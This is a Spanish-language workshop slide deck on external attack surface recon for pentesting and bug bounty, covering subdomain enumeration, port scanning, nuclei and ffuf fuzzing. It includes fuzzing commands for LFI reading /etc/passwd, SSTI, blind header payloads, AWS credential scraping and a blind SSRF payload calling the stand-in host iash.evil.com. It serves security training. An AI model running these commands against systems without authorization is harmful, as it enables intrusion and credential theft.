EASM - A deep 🤿

https://hconrecon23.github.io

WHOAMI

SIX2DEZ

  • Padre, ethical hacker y bash lover en Red Team
  • Pentester en Cobalt Core y bug hunter
  • Principales proyectos FOSS: reconFTW, OneListForAll, pentest-book
  • Escalada, senderismo y cualquier cosa relacionada con la montaña
  • @six2dez1 en Twitter, @six2dez en el resto

WHOAMI

joohoi


  • Team lead red team
  • Proyectos open source: acme-dns, ffuf, certbot
  • Padre, geek de los juegos de mesa, cervecero
  • @joohoi en todos las RRSS

Eligiendo el objetivo

(a.k.a. correlación horizontal)

Información básica 1/2

  • Vistazo inicial a la web corporativa
    • Sobre nosotros
    • Contacto
  • Google/Github Dorks
  • Emails, usuarios, tecnologías
    • Metadatos en documentos indexados
    • Cuentas en redes sociales
  • Brechas de datos

Información básica 2/2


			# Metadata finder
			metafinder -d "target.tld" -l 10 -go -bi -ba -o path
			
			# Email finder
			emailfinder -d "target.tld"
			
			# Users/Employees
			python3 crosslinked.py -f '{first}.{last}@domain.com' company
			site:linkedin.com/in "domain.com" # Dork

			# Data breaches for free
			https://breachdirectory.org/
			https://hashes.com/en/decrypt/hash


Crunchbase

  • Fusiones y adquisiciones
  • Dominios asociados
  • Información histórica
  • Otros: tech stack, supply chain


ASN recon

  • Detectar ASN dedicados
  • Expandir bloques de IPs
  • Proveedor de hosting
  • Mapear estructura de red

	# Manual
	bgp.he.net, ipinfo.io, asnlookup.com
	
	# Fetch info from ASN
	asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com -a AS3941
	amass intel -org "COMPANY"
						

Registrants / reverse whois

Owner name, company name, email o palabras clave, es una relación que requiere investigar recursivamente debido a que las empresas usan distintos emails y nombres para registrar sus dominios.

Difícil de automatizar o recuperar sin interacción desde cli. Altas probabilidades de salirse de scope.

Favicon Hash

Útil para descubrir dominios relacionados, requiere el cálculo del hash del favicon y tener cuenta en Shodan, ojo a rediseños o logotipos antiguos 😜


				# Shodan query
				http.favicon.hash:FAVICONHASH

				# Tool
				python3 favUp.py -wl web_list.txt -sc
						

Recursividad

Descubrimiento de activos

Enumeración pasiva de subdominios 1/4

Forma más fácil y rápida de recuperar subdominios, info desactualizada, modelo de gasto de créditos/tokens por consulta en la mayoría de servicios.

Enumeración pasiva de subdominios 2/4


					# Amass passive data fetch
					amass enum -passive -d target.tl	
					subfinder -d target.tl
					
					# Ctfr subdomain search on crtsh
					python3 ctfr.py -d target.tl
					
					# Subdomains from Github
					github-subdomains -d target.tld -t tokens.txt

					# Subdomains from GitLab
					gitlab-subdomains -d target.tld
						

Enumeración pasiva de subdominios 3/4

Enumeración pasiva de subdominios 4/4


				# Fetching DNS records with dnsx
				cat subs.txt | dnsx -cname -ns -mx -soa -resp					
				
				# Analytics from BuiltWith and HackerTarget
				cat file.txt | analyticsrelationships 					
				
				# Analytics from SpyOnWeb, site-overview.com
				# 	osint.sh and HackerTarget
				udon -silent -json -s UA-33427076 | jq -c
						

Enumeración activa de subdominios 1/3

Alto coste en tiempo y recursos, pero resultados únicos y valiosos

Requisitos



Enumeración activa de subdominios 2/3

  • Fuerza bruta con wordlists genéricas
  • Permutaciones
    • Generación de wordlists
    • Análisis de reglas regex
    • IA???

		# Gotator wordlist generation
		gotator -sub subdomains.txt -perm permutations.txt \
		-depth 1 -numbers 5 -mindup -adv -md > permutations.txt

		# Regulator
		python3 main.py -t target.tld -f subdomains.txt -o output.rules
							

Enumeración activa de subdominios 3/3


	# Resolvers generation
	dnsvalidator -tL https://public-dns.info/nameservers.txt \
	-thread 200 > resolvers.txt
	
	# DNS resolution
	puredns bruteforce wordlist.txt target.com \
	-r resolvers.txt --resolvers-trusted res_trusted.txt \
	-l 1000 --wildcard-tests 10 -w output.txt

	# Amass
	amass enum -df doms.txt -w subs.txt -aw perms.txt \
	-rf resolvers.txt -trf res_trust.txt -trqps 400
						

⚠️ Puedes acabar DOSeando el objetivo

Other techniques

  • Análisis de certificados x509
  • DNS NOERROR (subdominios anidados)

			# x509 subdomain extraction
			cat subs.txt | tlsx -san -cn -silent -r											
			
			# DNS NOERROR
			echo "random.target.tld" | dnsx -rcode noerror,nxdomain
			dnsx -d target.tld -rcode noerror -w wordlist.txt
							


Recursividad

Escaneo de puertos & descubrimiento de servicios






Buscar hosts

Es esencial resolver las IP para evitar resoluciones DNS innecesarias al escanear puertos y/o escanear el mismo host más de una vez

  • Resolución DNS de las etapas anteriores
  • Obtener IPs a partir de CIDRs o ASN

				# Get A/AAAA records from subdomains
				dnsx -a -aaaa -resp -silent -l subdomains.txt
				
				# Expand CIDRs/ASN
				echo "ASD_OR_CIDR" | mapcidr -silent
						

Detección de servicios en la nube

Rangos de IPs en la nube, WAFs, CDNs

El objetivo es evitar escaneos de puertos innecesarios y evitar baneos o bloqueos.


								# WAF and CDN detection
								cat list.txt | ipcdn -v

								# Cloud detection by bruteforce
								python3 cloud_enum.py -k keyword
						

Escaneo de puertos pasivo y activo

  • Pasivo: Shodan cli/smap
    • Rápido
    • Sin interacción con el target
    • Desactualizado
  • Activo: Masscan/nmap
    • Depende de las opciones, pero más lento en general
    • Más ruidoso ya que requiere interacción con el target
    • Datos en tiempo real

Ejemplos de escaneos de puertos


						# Passive ports scan
						smap -iL targets.txt
						shodan host 10.X

						# Active ports scan
						masscan 10.X.X.X -p1-1000
						nmap -iL targets.txt
						nmap -iL targets.txt -sV --script vulners 
							--script-args mincvss=7.0
						

Expandir pasos anteriores

Reverse DNS records / PTR

⚠️ Peligro de salirse de scope (cloud, hosting compartido, etc.)


				# PTR records
				cat iplist.txt | dnsx -ptr -retry 3 -silent -resp
						

Inspección de las tecnologías




Versiones de software

  • Útil para etapas posteriores
    • Ataques específicos
    • Vulnerabilidades conocidas
  • Ayuda para priorizar
  • Nivel de actualizaciones

Banner grabbing / servicios custom

  • Igual que las versiones de software
  • OS Fingerprinting
  • Servicios custom o desconocidos == echar un ojo



CMS, frameworks, WAF

Historial de vulnerabilidades conocidas en diferentes CMS (WordPress, Drupal), Frameworks (Symfony, Laravel) y bypasses según el WAF


			# Web tech detection
			httpx -title -server -tech-detect -cdn -l list.txt
			
			# CMS detection
			python3 cmseek.py -l tartget_list.txt
			
			# WAF detection
			wafw00f -l tartget_list.txt
						


Inpección visual / web screenshooting

Ayuda a filtrar miles de capturas de pantalla y la mayoría de las herramientas proporcionan informes

Podemos aprovecharnos de la IA para clasificar los sitios según su aspecto


			# Web screenshoting
			gowitness file -f sites.tx			

			# Classify based on given pretrained AI model
			python3 eyeballer.py --weights model.h5 evaluate /path/
						

Low hanging fruits



CVE's and vulnerabilidades conocidas

  • CVE Trends
  • Credenciales por defecto
  • Vulnerabilidades típicas de una máquina Easy de HTB


Nuclei

  • Reemplazo FOSS para soluciones comerciales de escáneo de vulnerabilidades
  • Basado en plantillas
  • Plantillas diseñadas por la comunidad
  • Desde detección de software hasta explotación de vulns críticas
  • Facilidad para escribir tus propias plantillas

						# Fetch latest templates
						nuclei -ut
						
						# Scan horizontally for specific CVE
						cat targets.txt | nuclei -id CVE-2023-1337
						

Archivos comunes con info sensible

  • Revelación de credenciales
  • Información interna confidencial
  • Información crítica sobre otros activos
  • Archivos interesantes: .conf,.env,.sftp_config,etc
  • PII

Subdomain takeovers

Registros DNS mal configurados que apuntan a servicios de terceros que pueden ser reclamados por cualquiera.

  • Activos olvidados de la empresa
  • Principalmente subdominios ocultos en niveles profundos
  • Impacto en la reputación de la marca y en los datos de los usuarios
  • La mayoría de las veces requiere una suscripción de pago
  • Nuclei templates FTW
  • Fix: Cuida tus registros DNS, limpiezas periódicas

Sacando las armas

Fuerza bruta en login/creds por defecto

Nuclei tienen una gran biblioteca de plantillas con credenciales predeterminadas en función de la tecnología en configuraciones por defecto. Las plantillas de nuclei son bastante sencillas de crear por tu cuenta en caso de que quieras probar una gran cantidad de instancias de una aplicación específica.

Otras opciones incluyen tener a mano una lista de crendenciales y ejecutarla con ffuf. Esto requiere conocer un poco más el contexto de la aplicación (igual que para crear una plantilla de Nuclei) y no es fácil automatizar globalmente.

Recolectores de urls: Crawler

Katana

Un crawler que devuelve los enlaces encontrados en el sitio objetivo. Tiene una gran cantidad de opciones de configuración para no salirse de scope, así como incluir cookies de autenticación o cualquier tipo de headers. Además tiene un modo "headless" que permite interpretar el DOM o JS dinámicos complejo como si se tratase de un navegador web más.

katana -list url_list.txt -jc -kf -cs target.tld -ef jpg,png


Recolectores de urls: Pasivo / histórico

gau / waymore / github-endpoints

Extraer urls de un dominio desde diferentes servicios de terceros, como WaybackMachine, VirusTotal o URLScan. A veces es más útil que los crawlers/spiders porque pueden contener parámetros GET y darnos una idea de cómo se usan los endpoints, incluso pueden revelar información sensible

		# gau
		cat sites.txt | gau
		# waymore
		python3 waymore.py -i webs.txt -mode U -f -O file.txt
		# github-endpoints
		github-endpoints -d target.tld -t key.txt -o output.txt

Análisis URLs (patrones GF)

Wrapper de grep escrito en Go para la clasificación de urls y la búsqueda de patrones potencialmente vulnerables

  • SSRF
  • SQLi
  • base64
  • Clasificación por extensiones

Wordlists contextuales: basadas en el target

Se pueden utilizar herramientas de TomNomNom como unfurl para extraer partes interesantes de las urls y crear la base de una wordlist personalizada. Normalmente, estas partes interesantes incluyen parámetros, valores, rutas, etc.

Existen algunas herramientas antiguas y fiables como CeWL para la generación de listas de palabras basadas en objetivos a partir de todo el contenido del sitio.

Wordlists contextuales: basadas en la tecnología

OneListForAll tiene una buena colección de wordlists separadas por tecnologías.

Assetnote tiene una colección de wordlists específicamente elaboradas y basadas en el contexto.

Escáneres de vulnerabilidades específicos

Herramientas creadas en torno a una tecnología específica centradas en diferentes vulnerabilidades concretas

  • WPScan
  • CMSeek
  • aem-hacker
  • sret

Análisis JS

Todavía hay mucho margen de mejora en este aspecto, ya que el análisis sintáctico y la renderización de JS son difíciles de automatizar

Responders: interactsh

Está disponible como solución hosteada por PDiscovery, pero se le saca mucho más partido si se hostea uno propio. Además cuando se trata de posibles vulnerabilidades, es importante que tú seas el único propietario de los datos

https://github.com/projectdiscovery/interactsh

Para hostear el server se necesita un servidor (VPS) con una dirección IP estática y un nombre de dominio.

En el contexto de pentesting web, se utiliza a menudo sólo como callback DNS para capturar peticiones SSRF.

Responders: XSSHunter

Esta es una gran herramienta para gestionar eficientemente vulnerabilidades XSS, especialmente para blind XSS. El XSSHunter original fue descontinuado hace poco y ha sido sustituido por un fork ligeramente modificado y hosteada por Trufflesec.

Para subrayar aún más que "debes hostearlo por ti mismo" (tanto la instancia como la propiedad de los datos), recientemente ha habido controversia con Trufflesec por farmear y publicar información de la base de datos de su version hosteada, supuestamente para estadísticas de uso.

OG: https://github.com/mandatoryprogrammer/xsshunter-express

Trufflesec fork: https://github.com/trufflesecurity/xsshunter

Web fuzzing avanzado

Ffuf es una gran herramienta para este propósito. Está diseñado para ser muy versátil, rollo navaja suiza para web fuzzing.

A continuación se mostrarán algunos ejemplos de escaneos automatizados que se pueden hacer con ffuf, pero se puede hacer mucho más. Para conocer más a fondo las distintas opciones disponibles, pásate por la documentación de ffuf.

Advanced web fuzzing: Extracción de credenciales

Ffuf proporciona una manera de añadir scraper rules.Son archivos json que se pueden guardar en $HOME/.config/ffuf/scraper/

Un archivo de ejemplo que puede utilizarse en el taller está en el repo. Éstas reglas se aplican pasivamente a todos los escaneos de ffuf si guardas el archivo en el directorio global de scrapers. Para un solo uso, se puede hacer referencia a un archivo de scraper con el parámetro -scraperfile.

# -mc 999 deshabilita la salida hasta que el scraper salte
ffuf -w all_urls.txt -u FUZZ -mc 999 \
	   -scraperfile aws_creds.json

Advanced web fuzzing: Virtualhosts

Se pruebam todos los nombres de host contra todos los targets web y devuelve todos los vhosts que reciben respuesta de de CDNs/load balancers. Esto puede llevar a veces a divertidas fallos de configuración.

ffuf -w hostnames.txt:VHOST -w hostnames.txt:DOMAIN \
				-u https://DOMAIN -H "Host: VHOST" -ac -ach
						

Advanced web fuzzing: Headers (blind)

Se combina una lista de headers junto con una lista de payloads para encontrar diferentes vulnerabilidades. Puedes ir a lo loco e incluir todo en la misma petición pero sería más complicado encontrar el payload bueno.

Normalmente esto lleva a XSS (a través de paneles administrativos normalmente), proxies inversos mal configurados, balanceadores de carga, etc.

Es interesante lanzar una ejecución por cada tipo de vuln. Por ejemplo: filtrado basado en el tiempo para time-based SQLi

ffuf -w headernames.txt:HEADERNAME -w payloads.txt:PAYLOAD \
				-w hostnames.txt:TARGET \
				-u https://TARGET \
				-H "HEADERNAME: PAYLOAD"

Advanced web fuzzing: SSTI

Puedes crear tu propia wordlist de payloads SSTI fáciles de identificar. Un buen recurso para empezar sería la página de PayloadsAllTheThings sobre SSTI.

Asegúrate de que el cálculo te devuelve algo único y fácil de contrastar. El típico {{7*7}} puede llevar a un montón de falsos positivos ;)

ffuf -w ssti_payloads.txt:SSTI -w get_params.txt:GETPARAM \
				-w hostnames.txt:TARGET \
				-u https://TARGET/?GETPARAM=SSTI \
				-mr 'result_of_your_unique_calculation_here'

Advanced web fuzzing: LFI

Puedes seguir el mismo principio que con los SSTI. En este caso interesa lanzar una ejecución de ffuf por cada payload en caso de que estés intentando leer diferentes archivos del filesystem.

Puedes usar la wordlist de LFI de Jhaddix, incluída en SecLists.

En el siguiente ejemplo se usa la wordlist de LFI con diferentes técnicas para leer /etc/passwd

ffuf -w lfi_payloads.txt:LFI -w get_params.txt:GETPARAM \
				-w hostnames.txt:TARGET \
				-u https://TARGET/?GETPARAM=LFI \
				-mr 'root:x:0:0:root'

Blind SSRF payloads

ffuf 2.0 tiene una función de mapeo inverso llamada FFUFHASH que permite añadir un placeholder único para payloads de blind SSRF. Esto funciona especialmente bien con interactsh. En el siguiente ejemplo el dominio de interactsh sería iash.evil.com:

ffuf -w params.txt -u \
		https://target.tld/?FUZZ=%2F%2FFFUFHASH.iash.evil.com

Escalando

  • La herramienta divide las wordlists y otros métodos de entrada entre las instancias de la flota
  • Los resultados se recuperan y se vuelven a unir en la máquina controladora
  • https://github.com/pry0cc/axiom

Axiom


							# Building the image
							axiom-build
							
							# Spin up the fleet
							axiom-fleet "1337squadron" -i 50
							
							# Scanning
							axiom-scan input.txt -m ffuf -o output.txt 

							# Deleting the fleet
							axiom-rm -f "\*"
						

⚠️ Alto riesgo de DDOS


Shadowclone

  • Config: https://github.com/fyoorer/ShadowClone/wiki
  • Nota: las políticas de AWS obligan incluir también el rol "iam:PassRole"
  • La wiki está un poco desactualizada pero los siguientes comandos deberían funcionar:
# build your container
lithops runtime build sc-runtime -f Dockerfile

# deploy it with 512Mb memory and 300sec timeout
lithops runtime deploy --memory 512 --timeout 300 sc-runtime
  • 1m 40s para escanear 700k websites con una sola plantilla
  • 10m para mapear las tecnologías de 700k websites

Automatización

Uniendo todas las piezas

Scripting

Para permitir una fácil extensión y construcción iterativa de la automatización lo mejor es utilizar Python o shell scripting.

  • Beneficios de 🐍
    • Capacidad de actuar inmediatamente en función de los resultados, basado en "eventos"
    • Facilidad para filtrar los resultados dentro del flujo
    • Más control sin amplios conocimientos profundos del lenguaje
    • Control de trabajos (potencialmente) paralelos
  • Beneficios de 🐚
    • Se empieza extremadamente rápido
    • Muchas herramientas de software libre a tu disposición
    • Fácil de ampliar aún más con frameworks como Axiom

Parseo

JSON está hecho para ser leído por ordenadores y es tu mejor aliado. La mayoría de las herramientas lo soportan de una forma u otra. En general, estarás tratando con archivos de texto o con JSON.

  • Python soporta JSON nativamente
  • jq es una herramienta CLI impresionante para parsear y filtrar JSON
  • Se puede grepear JSON con gron
  • O seleccionar partes específicas de las URL con unfurl

Piping

Muchas etapas diferentes en el proceso de automatización pueden bifurcarse en múltiples subtareas, por lo que a menudo es bueno almacenar los resultados de las etapas anteriores en un archivo temporal. Esto también suele ayudar a depurar posibles problemas.

  • Usa tee para añadir stdout a un archivo mientras también se muestra por terminal
  • anew solo añade las nuevas líneas al archivo de salida

Filtrado

Trata de evitar la creación de tráfico innecesario, y sobre todo salirte fuera del scope, lo que puede suceder con bastante facilidad. Asegúrate de filtrar las entradas que no quieres de tu workflow desde el principio. Esto hará que tu automatización sea más rápida, y causará considerablemente menos problemas legales en el futuro ;)

Puedes encontrar un ejemplo de un sencillo script en Python que lee líneas de stdin (pensadas para ser utilizadas dentro en un pipe) y devuelve sólo las urls http(s) dentro del scope aquí

Frameworks

Conjunto de herramientas y técnicas cuyo objetivo es automatizar todo el proceso de reconocimiento, proporcionando un flujo de trabajo personalizable (o no) para lograr el objetivo.

  • reNgine: web ui, Python, Docker, Postgres DB, yaml workflows, workflows predefinados + posibilidad de custom
  • recon-pipeline: cli, Python, sqlite DB, listado de herramientas cerradas, escáneres predefinidos y posibilicad de customs
  • reconFTW: cli sin UI (de momento), archivos de texto, listado cerrado de herramientas y workflow, customizable, Docker, Terraform, integración con axiom

Aplicación práctica

Solución personalizada de mapeo de superficies de ataque

Proceso previo al comienzo del pentest

Bug bounty